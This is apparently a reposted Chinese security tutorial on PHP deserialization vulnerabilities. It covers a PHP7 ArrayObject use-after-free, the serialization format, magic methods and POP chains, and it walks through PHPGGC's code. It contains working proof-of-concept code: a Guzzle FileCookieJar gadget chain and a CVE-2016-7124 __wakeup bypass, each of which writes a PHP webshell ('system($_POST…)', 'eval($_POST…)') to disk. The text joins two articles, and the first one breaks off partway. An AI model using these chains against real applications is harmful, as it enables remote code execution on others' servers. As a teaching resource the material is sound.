PHP反序列化漏洞

安全客计算机与网络安全 2022-06-01

PHP7：反序列化漏洞案例及分析

1、漏洞历史

对于黑客来说，如果能够利用服务器端错误，那简直相当于中了头彩。因为用户倾向于将他们的数据保存在服务器中,如果黑客能够利用这个错误，就能针对某一个目标，从而获取更大的收益。PHP脚本语言是时下最流行的web服务器端语言之一。为了消除PHP开发过程中不同类型的漏洞，人们采用了多种安全编码方案。

然而,安全编码方案不能掩盖语言本身的缺陷。PHP是用相对低级的语言写成的，其中常见的漏洞有内存损坏漏洞,而use-after-free漏洞最为普遍。

这些年来，PHP语言得到了不断的改进，在2015年12月，一个重要的新版本——PHP7被公布出来。这个版本的内部结构与PHP5有很大不同，分配器已经发生了改变，而变量的内部表示(zvals)也完全不同了。

通过一个反序列化漏洞，Check Point研究小组成功演示了一项对PHP7的利用。在这篇报告中,我们将会一步步解释这是如何完成的。

2、技术背景

为了更好地解释这项利用,我们首先要回顾一些关键的技术细节。

（1）值和对象

在PHP-7中,用来保存值的结构与php-5有所不同。

在内部保存值的结构是zval(_zval_struct)。这个结构的第一个字段是zend_value，其中包含指向PHP基本类型的指针和结构，而主要类型有Boolean、integer、double、string、object和array 等。

我们需要关注的类型是String、Object和Array,它们在内部中被表示为zend_string、zend_object和zend_array结构。

zend_string是用于保存字符串的结构。当引擎创建了一个新的字符串后,它会分配足够的字节给zend_string结构，对字符串的大小进行扩充。然后,它会用字符串的数据填补这个结构的字段，并在结构的末尾添加上字符串的内容。因此,字符串创建为我们提供了一种在不同的尺寸中进行分配的方法:sizeof(zend_string)+ strlen(str)= 16 + strlen(str)。这样，我们就没法再伪造一个字符串zval，并让它指向我们想要的地方了,这和使用PHP-5时有所不同。

zend_object用来表示对象的基本结构。它通常被嵌入在一个代表着不同类型对象的结构中。当zval保存了一个对象时,它的value 字段是一个指向zend_object的指针。

zend_array(又名HashTable)是保存键值存储的结构。这是一个对哈希表数据结构的直接应用，其中的arData字段指向Bucket结构内的一个数组。

总体来说,我们可以看到，PHP-7值系统更倾向于嵌入结构(PHP-5相比)。这种改变可以提高代码的效率(减少分配),让我们难以利用与内存相关的bug(更少的引用)。

（2）PHP-7内存分配器

在PHP-7中，内存分配器的工作原理不同于PHP-5。小的分配(slot)由一个free list完成。每个分配大小都有一个对应的free list。free list通过一个或多个连续页（bin）进行初始化，而free list的初始化使得每一个slot指向下一个slot。一旦free list耗尽，一个新的bin会被分配出来。

重点:

一个slot的元数据是基于所在页面进行检索的。(地址对齐到最近的chunk)
下一个分配的位置可能是当前分配的位置+分配的大小。例如,如果分配器以0
x28的大小返回到地址0xf7e10000,那么下一个大小为0 x28的分配就位于0 xf7e10028。为了简单起见,我们假定这是真实的。注意,在最后一个primitive（下文Writing Memory / 64中会提到），我们设计了一个不依赖这一假设，但仍能触发错误的方法。
分配大小被四舍五入成了某个预定义的大小。

（3）反序列化

unserialize函数被用于将格式化字符串内的对象进行实例化，在反序列化期间,每个解析元素都有一个索引号,号码从1开始。

在内部,每个解析值都被放到了php_unserialize_data_t的两个数组中。第一个数组是values-array,第二个是destructor-array。在反序列化期间,值可以重新定义,即在stdClass(最基本的PHP的对象——一个键值存储)中,同一个key可以用不同的值反序列化两次。如果是这样的话,第一个定义会被覆盖，引用也会从数值数组中被移除。然而引用会被保存在destructor-array中。当反序列化结束时,destructor-array中每个值的引用数都会被减少，如果减少到零,它就会被释放。

所以请记住,在反序列化过程中，值不能被释放,只有最后的过程中才可以。

3、BUG (# 71311）

这里的bug是一个Use-After-Free bug，培训存在于标准php库内ArrayObject的反序列化函数中。

ArrayObject是一个SPL对象，它允许对象以数组的形式工作。在内部,它被表示为spl_array_object。这是该对象的序列化形式:

spacer.gif

C:11:"ArrayObject":37:{x:i:0;a:2:{i:0;i:0;i:1;i:1;};m:a:0:{}}

37是括号内的字符数
x:i:0;对应于结构中的nr_flags字段
a:2:{i:0;i:0;i:1;i:1;}对应于结构中的数组字段(从这个角度,它被称为internal数组以区别于对象本身)
m:a:0:{}对应于zend_object std字段内的properties字段(从这个角度,称为members数组)。

当对ArrayObject进行反序列化时，引擎首先会将一个默认的、拥有内部数组的ArrayObject实例化，然后解析ArrayObject的字段。当它解析到与内部数组相关的部分时,会释放初始的内部数组，然后通过引用，调用php_var_unserialize，并指向内部数组,目的是想让函数将它变成已经解析过的内部数组。内部数组可以是一个已经解析的数组的引用,在这种情况下,内部数组被修改为指向引用的数组,同时引用计数会有所增加。

在内部数组对自身进行引用时，错误出现了。这导致内部指针被分配给自己(即无操作),并指向释放了的数组，然后,数组的引用计数会增加。

4、有漏洞的代码

我们利用的代码常被用于反序列化开发。我们建立了一个运行以下PHP脚本的apache服务器:

这个脚本给了我们一个反馈。尽管我们对远程可利用性的要求有所降低,但在每一个情境中，反映到客户端的反序列化数据都是适合的。

我们通过向data参数内的脚本发送字符串进行了利用。在利用过程中,我们从返回的序列化字符串中推断出了一些内部信息。

PHP反序列化漏洞

0x00 序列化的作用

（反）序列化给我们传递对象提供了一种简单的方法。

serialize()将一个对象转换成一个字符串

unserialize()将字符串还原为一个对象

反序列化的数据本质上来说是没有危害的

用户可控数据进行反序列化是存在危害的

可以看到，反序列化的危害，关键还是在于可控或不可控。

0x01 PHP序列化格式

1. 基础格式

boolean

b:;

b:1; // True

b:0; // False

integer

i:;

i:1; // 1

i:-3; // -3

double

1 2	`d:;` `d:1.2345600000000001; // 1.23456（php弱类型所造成的四舍五入现象）`

NULL

1	`N; //NULL`

string

1 2	`s::"";` `s"INSOMNIA"; // "INSOMNIA"`

array

1 2	`a::{key, value pairs};` `a{s"key1";s"value1";s"value2";} // array("key1" => "value1", "key2" => "value2")`

2. 序列化举例

test.php

<?php

class test

{

private $flag = 'Inactive';

public function set_flag($flag)

{

$this->flag = $flag;

}

public function get_flag($flag)

{

return $this->flag;

}

我们来生成一下它的序列化字符串：

serialize.php

<?php

require "./test.php";

$object = new test();

$object->set_flag('Active');

$data = serialize($object);

file_put_contents('serialize.txt', $data);

代码不难懂，我们通过生成的序列化字符串，来细致的分析一下序列化的格式：

1 2	`O:4:"test":1:{s:10:"testflag";s:6:"Active";}` `O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}`

3. 注意

这里有一个需要注意的地方，testflag明明是长度为8的字符串，为什么在序列化中显示其长度为10？

翻阅php官方文档我们可以找到答案：

对象的私有成员具有加入成员名称的类名称;受保护的成员在成员名前面加上'*'。这些前缀值在任一侧都有空字节。

所以说，在我们需要传入该序列化字符串时，需要补齐两个空字节：

1	`O:4:"test":1:{s:10:"%00test%00flag";s:6:"Active";}`

4. 反序列化示例

unserialize.php

<?php

$filename = file_get_contents($filename);

$object = unserialize($filename);

var_dump($object->get_flag());

var_dump($object);

0x02 PHP（反）序列化有关的魔法函数

construct(), destruct()

构造函数与析构函数

call(), callStatic()

方法重载的两个函数

__call()是在对象上下文中调用不可访问的方法时触发

__callStatic()是在静态上下文中调用不可访问的方法时触发。

get(), set()

__get()用于从不可访问的属性读取数据。

__set()用于将数据写入不可访问的属性。

isset(), unset()

__isset()在不可访问的属性上调用isset()或empty()触发。

__unset()在不可访问的属性上使用unset()时触发。

sleep(), wakeup()

serialize()检查您的类是否具有魔术名sleep()的函数。如果是这样，该函数在任何序列化之前执行。它可以清理对象，并且应该返回一个数组，其中应该被序列化的对象的所有变量的名称。如果该方法不返回任何内容，则将NULL序列化并发出E_NOTICE。sleep()的预期用途是提交挂起的数据或执行类似的清理任务。此外，如果您有非常大的对象，不需要完全保存，该功能将非常有用。

unserialize()使用魔术名wakeup()检查函数的存在。如果存在，该功能可以重构对象可能具有的任何资源。wakeup()的预期用途是重新建立在序列化期间可能已丢失的任何数据库连接，并执行其他重新初始化任务。

__toString()

__toString（）方法允许一个类决定如何处理像一个字符串时它将如何反应。

__invoke()

当脚本尝试将对象调用为函数时，调用__invoke()方法。

__set_state()

__clone()

__debugInfo()

0x03 PHP反序列化与POP链

就如前文所说，当反序列化参数可控时，可能会产生严重的安全威胁。

面向对象编程从一定程度上来说，就是完成类与类之间的调用。就像ROP一样，POP链起于一些小的“组件”，这些小“组件”可以调用其他的“组件”。在PHP中，“组件”就是这些魔术方法（__wakeup()或__destruct）。

一些对我们来说有用的POP链方法：

命令执行：

exec()

passthru()

popen()

system()

文件操作：

file_put_contents()

file_get_contents()

unlink()

2. POP链demo

popdemo.php

<?php

class popdemo

{

private $data = "demo\n";

private $filename = './demo';

public function __wakeup()

{

// TODO: Implement __wakeup() method.

$this->save($this->filename);

}

public function save($filename)

{

file_put_contents($filename, $this->data);

}

上面的代码即完成了一个简单的POP链，若传入一个构造好的序列化字符串，则会完成写文件操作。

poc.php

<?php

require "./popdemo.php";

$demo = new popdemo();

file_put_contents('./pop_serialized.txt', serialize($demo));

pop_unserialize.php

<?php

require "./popdemo.php";

unserialize(file_get_contents('./pop_serialized.txt'));

表面看上去，我们完美的执行了代码的功能，那么我们改一下序列化代码，看一看效果：

改为：

1 2	`O:7:"popdemo":2:{s:13:"popdemodata";s:5:"hack` `";s:17:"popdemofilename";s:6:"./hack";}`

便执行了我们想要执行的效果：

3. Autoloading与（反）序列化威胁

PHP只能unserialize()那些定义了的类

传统的PHP要求应用程序导入每个类中的所有类文件，这样就意味着每个PHP文件需要一列长长的include或require方法，而在当前主流的PHP框架中，都采用了Autoloading自动加载类来完成这样繁重的工作。

在完善简化了类之间调用的功能的同时，也为序列化漏洞造成了便捷。

举个例子：

目录结构为下：

index.php

<?php

class autoload

{

public static function load1($className)

{

if (is_file($className.'.php'))

{

require $className.'.php';

}

public static function load2($className)

{

if (is_file('./app/'.$className.'.php'))

{

require './app/'.$className.'.php';

}

public static function load3($className)

{

if (is_file('./lib/'.$className.'.php'))

{

require './lib/'.$className.'.php';

}

spl_autoload_register('autoload::load1()');

spl_autoload_register('autoload::load2()');

spl_autoload_register('autoload::load3()');

$test1 = new test1();

$test2 = new test2();

$test3 = new test3();

test1.php

<?php

class test1

{

private $test1_data = 'test1_data';

private $test1_filename = './test1_demo.txt';

public function __construct()

{

$this->save($this->test1_filename);

}

public function save($test1_filename)

{

file_put_contents($test1_filename, $this->test1_data);

}

其余的test2和test3和test1的内容类似。

运行一下index.php：

可以看到已经自动加载类会自动寻找已经注册在其队列中的类，并在其被实例化的时候，执行相关的操作。

若想了解更多关于自动加载类的资料，请查阅spl_autoload_register

4. Composer与Autoloading

说到了Autoloader自动加载类，就不得不说一下Composer这个东西了。Composer是PHP用来管理依赖（dependency）关系的工具。你可以在自己的项目中声明所依赖的外部工具库（libraries），Composer 会帮你安装这些依赖的库文件。

经常搭建框架环境的同学应该对这个非常熟悉了，无论是搭建一个新的Laravel还是一个新的Symfony，安装步骤中总有一步是通过Composer来进行安装。

比如在安装Laravel的时候，执行composer global require "laravel/installer"就可以搭建成以下目录结构的环境：

其中已经将环境所需的依赖库文件配置完毕，正是因为Composer与Autuoloading的有效结合，才构成了完整的POP数据流。

0x04 反序列化漏洞的挖掘

1. 概述

通过上面对Composer的介绍，我们可以看出，Composer所拉取的依赖库文件是一个框架的基础。

而Composer默认是从Packagist来下载依赖库的。

所以我们挖掘漏洞的思路就可以从依赖库文件入手。

目前总结出来两种大的趋势，还有一种猜想：

1.从可能存在漏洞的依赖库文件入手

2.从应用的代码框架的逻辑上入手

3.从PHP语言本身漏洞入手

接下来逐个的介绍一下。

2. 依赖库

以下这些依赖库，准确来说并不能说是依赖库的问题，只能说这些依赖库存在我们想要的文件读写或者代码执行的功能。而引用这些依赖库的应用在引用时并没有完善的过滤，从而产生漏洞。

cartalyst/sentry

cartalyst/sentinel

寻找依赖库漏洞的方法，可以说是简单粗暴：

首先在依赖库中使用RIPS或grep全局搜索__wakeup()和__destruct()

从最流行的库开始，跟进每个类，查看是否存在我们可以利用的组件（可被漏洞利用的操作）

手动验证，并构建POP链

利用易受攻击的方式部署应用程序和POP组件，通过自动加载类来生成poc及测试漏洞。

以下为一些存在可利用组件的依赖库：

任意写

monolog/monolog(<1.11.0)

guzzlehttp/guzzle

guzzle/guzzle

任意删除

swiftmailer/swiftmailer

拒绝式服务(proc_terminate())

symfony/process

下面来举一个老外已经说过的经典例子，来具体的说一下过程。

例子

1. 寻找可能存在漏洞的应用

存在漏洞的应用：cartalyst/sentry

漏洞存在于：/src/Cartalyst/Sentry/Cookies/NativeCookie.php

...

public function getCookie()

{

...

return unserialize($_COOKIE[$this->getKey()]);

...

}

应用使用的库中的可利用的POP组件：guzzlehttp/guzzle

寻找POP组件的最好方式，就是直接看composer.json文件，该文件中写明了应用需要使用的库。

{

"require": {

"cartalyst/sentry": "2.1.5",

"illuminate/database": "4.0.*",

"guzzlehttp/guzzle": "6.0.2",

"swiftmailer/swiftmailer": "5.4.1"

}

2. 寻找可以利用的POP组件

我们下载guzzlehttp/guzzle这个依赖库，并使用grep来搜索一下__destruct()和__wakeup()

逐个看一下，在/guzzle/src/Cookie/FileCookieJar.php发现可利用的POP组件：

跟进看一下save方法：

存在一下代码，造成任意文件写操作：

1	`if (false === file_put_contents($filename, $jsonStr))`

注意到现在$filename可控，也就是文件名可控。同时看到$jsonStr为上层循环来得到的数组经过json编码后得到的，且数组内容为$cookie->toArray()，也就是说如果我们可控$cookie->toArray()的值，我们就能控制文件内容。

如何找到$cookie呢？注意到前面

跟进父类，看到父类implements了CookieJarInterface

还有其中的toArray方法

很明显调用了其中的SetCookie的接口：

看一下目录结构：

所以定位到SetCookie.php：

可以看到，这里只是简单的返回了data数组的特定键值。

3. 手动验证，并构建POP链

首先我们先在vm中写一个composer.json文件：

{

"require": {

"guzzlehttp/guzzle": "6.0.2"

}

接下来安装Composer：

1	`$ curl -sS https://getcomposer.org/installer \| php`

然后根据composer.json来安装依赖库：

1	`$ php composer.phar install`

接下来，我们根据上面的分析，来构造payload：

payload.php

<?php

require __DIR__.'/vendor/autoload.php';

use GuzzleHttp\Cookie\FileCookieJar;

use GuzzleHttp\Cookie\SetCookie;

$obj = new FileCookieJar('./shell.php');

$payload = '<?php echo system($_POST[\'poc\']);?>';

$obj->setCookie(new SetCookie([

'Name' => 'lucifaer',

'Value' => 'test_poc',

'Domain' => $paylaod,

'Expires' => time()

]));

file_put_contents('./build_poc', serialize($obj));

我们执行完该脚本，看一下生成的脚本的内容：

我们再写一个反序列化的demo脚本：

<?php

require __DIR__.'/vendor/autoload.php';

unserialize(file_get_contents("./build_poc"));

运行后，完成任意文件写操作。至此，我们可以利用生成的序列化攻击向量来进行测试。

3. PHP语言本身漏洞

提到这一点就不得不说去年的CVE-2016-7124，同时具有代表性的漏洞即为SugarCRM v6.5.23 PHP反序列化对象注入。

在这里我们就不多赘述SugarCRM的这个漏洞，我们来聊一聊CVE-2016-7124这个漏洞。

触发该漏洞的PHP版本为PHP5小于5.6.25或PHP7小于7.0.10。

漏洞可以简要的概括为：当序列化字符串中表示对象个数的值大于真实的属性个数时会跳过__wakeup()的执行。

我们用一个demo来解释一下。

例子

<?php

class Test

{

private $poc = '';

public function __construct($poc)

{

$this->poc = $poc;

}

function __destruct()

{

if ($this->poc != '')

{

file_put_contents('shell.php', '<?php eval($_POST[\'shell\']);?>');

die('Success!!!');

}

else

{

die('fail to getshell!!!');

}

function __wakeup()

{

foreach(get_object_vars($this) as $k => $v)

{

$this->$k = null;

}

echo "waking up...\n";

}

$poc = $_GET['poc'];

if(!isset($poc))

{

show_source(__FILE__);

die();

}

$a = unserialize($poc);

代码很简单，但是关键就是需要再反序列化的时候绕过__wakeup以达到写文件的操作。

根据cve-2016-7124我们可以构造一下我们的poc：

<?php

class Test

{

private $poc = '';

public function __construct($poc)

{

$this->poc = $poc;

}

function __destruct()

{

if ($this->poc != '')

{

file_put_contents('shell.php', '<?php eval($_POST[\'shell\']);?>');

die('Success!!!');

}

else

{

die('fail to getshell!!!');

}

function __wakeup()

{

foreach(get_object_vars($this) as $k => $v)

{

$this->$k = null;

}

echo "waking up...\n";

}

$a = new Test('shell');

$poc = serialize($a);

print($poc);

运行该脚本，我们就获得了我们poc

通上文所说道的，在这里需要改两个地方：

将1改为大于1的任何整数

将Testpoc改为%00Test%00poc

传入修改后的poc，即可看到：

写文件操作执行成功。

0x05 拓展思路

1. 抛砖引玉——魔法函数可能造成的威胁

刚刚想到这一点的时候准备好好研究一下，没想到p师傅第二天小密圈就放出来这个话题了。接下来顺着这个思路，我们向下深挖一下。

__toString()

经过上面的总结，我们不难看出，PHP中反序列化导致的漏洞中，除了利用PHP本身的漏洞以外，我们通常会寻找__destruct、__wakeup、__toString等方法，看看这些方法中是否有可利用的代码。

而由于惯性思维，__toString常常被漏洞挖掘者忽略。其实，当反序列化后的对象被输出在模板中的时候（转换成字符串的时候），就可以触发相应的漏洞。

__toString触发条件：

echo ($obj) / print($obj) 打印时会触发

字符串连接时

格式化字符串时

与字符串进行==比较时（PHP进行==比较的时候会转换参数类型）

格式化SQL语句，绑定参数时

数组中有字符串时

我们来写一个demo看一下

toString_demo.php

<?php

class toString_demo

{

private $test1 = 'test1';

public function __construct($test)

{

$this->test1 = $test;

}

public function __destruct()

{

// TODO: Implement __destruct() method.

print "__destruct:";

print $this->test1;

print "\n";

}

public function __wakeup()

{

// TODO: Implement __wakeup() method.

print "__wakeup:";

$this->test1 = "wakeup";

print $this->test1."\n";

}

public function __toString()

{

// TODO: Implement __toString() method.

print "__toString:";

$this->test1 = "tosTRING";

return $this->test1."\n";

}

$a = new toString_demo("demo");

$b = serialize($a);

$c = unserialize($b);

//print "\n".$a."\n";

//print $b."\n";

print $c;

执行结果为下：

通过上面的测试，可以总结以下几点：

echo ($obj) / print($obj) 打印时会触发

__wakeup的优先级>__toString>__destruct

每执行完一个魔法函数，

接下来从两个方面继续来深入：

字符串操作

魔术函数的优先级可能造成的变量覆盖

字符串操作

字符串拼接：

在字符串与反序列化后的对象与字符串进行字符串拼接时，会触发__toString方法。

字符串函数：

经过测试，当反序列化后的最想在经过php字符串函数时，都会执行__toString方法，从这一点我们就可以看出，__toString所可能造成的安全隐患。

下面举几个常见的函数作为例子（所使用的类还是上面给出的toString_demo类）：

数组操作

将反序列化后的对象加入到数组中，并不会触发__toString方法：

但是在in_array()方法中，在数组中有__toString返回的字符串的时候__toString会被调用：

class_exists

从in_array()方法中，我们又有了拓展性的想法。我们都知道，在php底层，类似于in_array()这类函数，都属于先执行，之后返回判断结果。那么顺着这个想法，我想到了去年的IPS Community Suite <= 4.1.12.3 Autoloaded PHP远程代码执行漏洞，这个漏洞中有一个非常有意思的触发点，就是通过class_exists造成相关类的调用，从而触发漏洞。

通过测试，我们发现了，如果将反序列化后的对象带入class_exists()方法中，同样会造成__toString的执行：

2. 猜想——对象处理过程可能出现的威胁

通过class_exists可能触发的危险操作，继续向下想一下，是否在对象处理过程中也有可能存在漏洞呢？

还记的去年爆出了一个PHP GC算法和反序列化机制释放后重用漏洞，是垃圾回收机制本身所出现的问题，在释放与重用的过程中存在的问题。

顺着这个思路，大家可以继续在对象创建、对象执行、对象销毁方面进行深入的研究。

0x06 PHPggc

在0x04的第二节中，我们提到了cms在引用某些依赖库时，可能存在（反）序列化漏洞。那么是否有工具可以生成这些通用型漏洞的测试向量呢？

当然是存在的。在github上我们找到了PHPggc这个工具，它可以快速的生成主流框架的序列化测试向量。

关于该测试框架的一点简单的分析

1. 目录结构

目录结构为下：

|- phpggc

|-- gadgetchains // 相应框架存在漏洞的类以及漏洞利用代码

|-- lib // 框架调度及核心代码

|-- phpggc // 入口

|-- README.md

2. 框架运行流程

首先，入口文件为phpggc，直接跟进lib/PHPGGC.php框架核心文件。

在__construct中完成了当前文件完整路径的获取，以及定义自动加载函数，以实现对于下面的类的实例化操作。

关键的操作为：

1	`$this->gadgets = $this->get_gadget_chains();`

可以跟进代码看一看，其完成了对于所有payload的加载及保存，将所有的payload进行实例化，并保存在一个全局数组中，以方便调用。

可以动态跟进，看一下：

public function get_gadget_chains()

{

$this->include_gadget_chains();

$classes = get_declared_classes();

$classes = array_filter($classes, function($class)

{

return is_subclass_of($class, '\\PHPGGC\\GadgetChain') &&

strpos($class, 'GadgetChain\\') === 0;

});

$objects = array_map(function($class)

{

return new $class();

}, $classes);

# Convert backslashes in classes names to forward slashes,

# so that the command line is easier to use

$classes = array_map(function($class)

{

return strtolower(str_replace('\\', '/', $class));

}, $classes);

return array_combine($classes, $objects);

}

跟进include_gadget_chains方法中看一下：

protected function include_gadget_chains()

{

$base = $this->base . self::DIR_GADGETCHAINS;

$files = glob($base . '/*/*/*/chain.php');

array_map(function ($file)

{

include_once $file;

}, $files);

}

在这边首先获取到当前路径，之后从根目录将其下子目录中的所有chain.php遍历一下，将其路劲存储到$files数组中。接着将数组中的所有chain.php包含一遍，保证之后的调用。

回到get_gadget_chains接着向下看，将返回所有已定义类的名字所组成的数组，将其定义为$classes，接着将是PHPGGC\GadgetChain子类的类，全部筛选出来（也就是将所有的payload筛选出来），并将其实例化，在其完成格式化后，返回一个由其名与实例化后的类所组成的键值数组。

到此，完成了最基本框架加载与类的实例化准备。

跟着运行流程，看到generate方法：

public function generate()

{

global $argv;

$parameters = $this->parse_cmdline($argv);

if(count($parameters) < 1)

{

$this->help();

return;

}

$class = array_shift($parameters);

$gc = $this->get_gadget_chain($class);

$parameters = $this->get_type_parameters($gc, $parameters);

$generated = $this->serialize($gc, $parameters);

print($generated . "\n");

}

代码很简单，一步一步跟着看，首先parse_cmdline完成了对于所选模块及附加参数的解析。

接下来array_shift完成的操作就是将我们所选的模块从数组中抛出来。

举个例子，比如我们输入如下：

1	`$ ./phpggc monolog/rce1 'phpinfo();'`

当前的$class为monolog/rce1，看到接下来进入了get_gadget_chain方法中，带着我们参数跟进去看。

public function get_gadget_chain($class)

{

$full = strtolower('GadgetChain/' . $class);

if(!in_array($full, array_keys($this->gadgets)))

{

throw new PHPGGC\Exception('Unknown gadget chain: ' . $class);

}

return $this->gadgets[$full];

}

现在的$full为gadgetchain/monolog/rce1，ok，看一下我们全局存储的具有payload的数组：

可以很清楚的看到，返回了一个已经实例化完成的GadgetChain\Monolog\RCE1的类。对应的目录则为/gadgetchains/Monolog/RCE/1/chain.php

继续向下，看到将类与参数传入了get_type_parameters，跟进：

protected function get_type_parameters($gc, $parameters)

{

$arguments = $gc->parameters;

$values = @array_combine($arguments, $parameters);

if($values === false)

{

$this->o($gc, 2);

$arguments = array_map(function ($a) {

return '<' . $a . '>';

}, $arguments);

$message = 'Invalid arguments for type "' . $gc->type . '" ' . "\n" .

$this->_get_command_line($gc->get_name(), ...$arguments);

throw new PHPGGC\Exception($message);

}

return $values;

}

其完成的操作对你想要执行或者写入的代码进行装配，即code标志位与你输入的RCE代码进行键值匹配。若未填写代码，则返回错误，成功则返回相应的数组以便进行payload的序列化。

看完了这个模块后，再看我们最后的一个模块：将RCE代码进行序列化，完成payload的生成：

public function serialize($gc, $parameters)

{

$gc->load_gadgets();

$parameters = $gc->pre_process($parameters);

$payload = $gc->generate($parameters);

$payload = $this->wrap($payload);

$serialized = serialize($payload);

$serialized = $gc->post_process($serialized);

$serialized = $this->apply_filters($serialized);

return $serialized;

}

▼ 点击阅读原文，查看更多精彩文章。

李光耀：过早翘起尾巴与美国对抗是中国厄运的开始！

劲爆！为了姜萍两位女CEO互揭老底！

谁会想到，裁员会裁到总编辑头上

消失11天的姜萍，这回麻烦大了…

“环评”提质增效助力高质量发展？

PHP反序列化漏洞

PHP7：反序列化漏洞案例及分析

PHP反序列化漏洞

您可能也对以下帖子感兴趣

李光耀：过早翘起尾巴与美国对抗 是中国厄运的开始！

劲爆！为了姜萍两位女CEO互揭老底！

谁会想到，裁员会裁到总编辑头上

消失11天的姜萍，这回麻烦大了…

“环评”提质增效 助力高质量发展？

生成图片，分享到微信朋友圈

PHP反序列化漏洞

PHP7：反序列化漏洞案例及分析

PHP反序列化漏洞

您可能也对以下帖子感兴趣

李光耀：过早翘起尾巴与美国对抗是中国厄运的开始！

“环评”提质增效助力高质量发展？